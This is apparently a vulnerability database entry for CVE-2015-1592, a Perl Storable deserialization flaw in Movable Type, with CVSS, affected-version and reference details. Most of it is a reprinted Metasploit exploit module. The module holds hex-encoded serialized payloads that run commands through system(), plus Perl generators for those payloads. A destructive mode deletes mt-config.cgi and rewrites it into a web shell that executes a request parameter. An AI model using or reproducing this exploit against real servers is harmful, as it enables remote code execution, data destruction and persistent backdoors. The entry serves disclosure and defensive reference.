CVE-2015-1592

high
Published 2015-02-19 ยท Modified 2026-05-06
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

Movable Type Pro, Open Source, and Advanced before 5.2.12 and Pro and Advanced 6.0.x before 6.0.7 does not properly use the Perl Storable::thaw function, which allows remote attackers to include and execute arbitrary local Perl files and possibly execute arbitrary code via unspecified vectors.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-41697 webapps linux verified ruby ยท 8 KB
Metasploit ยท 2015-02-11

SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
      'Description'    => %q{
          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
      },
      'Author'         =>
        [
          'John Lightsey',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-1592' ],
          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => ' ',
          'Space'       => 1024,
        },
      'Compat'         =>
        {
          'PayloadType' => 'cmd'
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
      ], self.class
    )

  end

=begin
#!/usr/bin/perl
# generate config parameters for injection checks
use Storable;
{
    package XXXCHECKXXX;
    sub STORABLE_thaw {
        return 1;
    }
    sub STORABLE_freeze {
        return 1;
    }
}
my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen = unpack 'H*', $frozen;
print "LFI test for storable flaw is: $frozen\n";
{
    package DateTime;
    use overload '+' => sub { 'ignored' };
}
=end

  def check
    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
        'vars_get' => {
          '__mode' => 'retry',
          'step'   => 'configure',
          'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
        }
      })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_status("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if datastore['DESTRUCTIVE']
      exploit_destructive
    else
      exploit_nondestructive
    end
  end

=begin
#!/usr/bin/perl
# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.
use Storable;
{
    package Object::MultiType;
    use overload '+' => sub { 'ingored' };
}
{
    package Object::MultiType::Saver;
}
{
    package DateTime;
    use overload '+' => sub { 'ingored' };
}
{
    package Try::Tiny::ScopeGuard;
}
my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
=end

  def exploit_nondestructive
    print_status("Using nondestructive attack method")
    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
    config_payload <<  payload.encoded.unpack('H*')[0]
    config_payload << "7d293b"
    config_payload << "23" * (1025 - payload.encoded.length)
    config_payload << "0a657869743b"

    print_status("Sending payload (#{payload.raw.length} bytes)")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => config_payload
      }
    }, 5)
  end

=begin
#!/usr/bin/perl
# Generate destructive config parameter to unlink mt-config.cgi
use Storable;
{
    package CGITempFile;
}
my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";
my $data = [$cgitempfile];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE unlink payload requiring CGI: $frozen\n";
=end

  def exploit_destructive
    print_status("Using destructive attack method")
    # First we need to delete mt-config.cgi using the storable injection

    print_status("Sending storable injection to unlink mt-config.cgi")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
      }
    })

    if res && res.code == 200
      print_status("Successfully sent unlink request")
    else
      fail_with(Failure::Unknown, "Error sending unlink request")
    end

    # Now we rewrite mt-config.cgi to accept a payload

    print_status("Rewriting mt-config.cgi to accept the payload")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get'  => {
        '__mode'             => 'next_step',
        'step'               => 'optional',
        'default_language'   => 'en_us',
        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
        'set_static_uri_to'  => '/',
        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
      }
    })

    if res && res.code == 200
      print_status("Successfully sent mt-config rewrite request")
    else
      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
    end

    # Finally send the payload

    print_status("Sending payload request")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
      'vars_get'  => {
        'xyzzy'   => payload.encoded,
      }
    }, 5)
  end

end

Metasploit modules

SixApart MovableType Storable Perl Code Execution
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OS impact

debian Debian Affected 1 release
VersionStatusFixed in
7.0 Affected โ€”

Application impact

VendorProductVersionsFixed
sixapartmovable_type{"startIncluding":"5.2.0","endExcluding":"5.2.12"}5.2.12

References

CWEs

CWE-74

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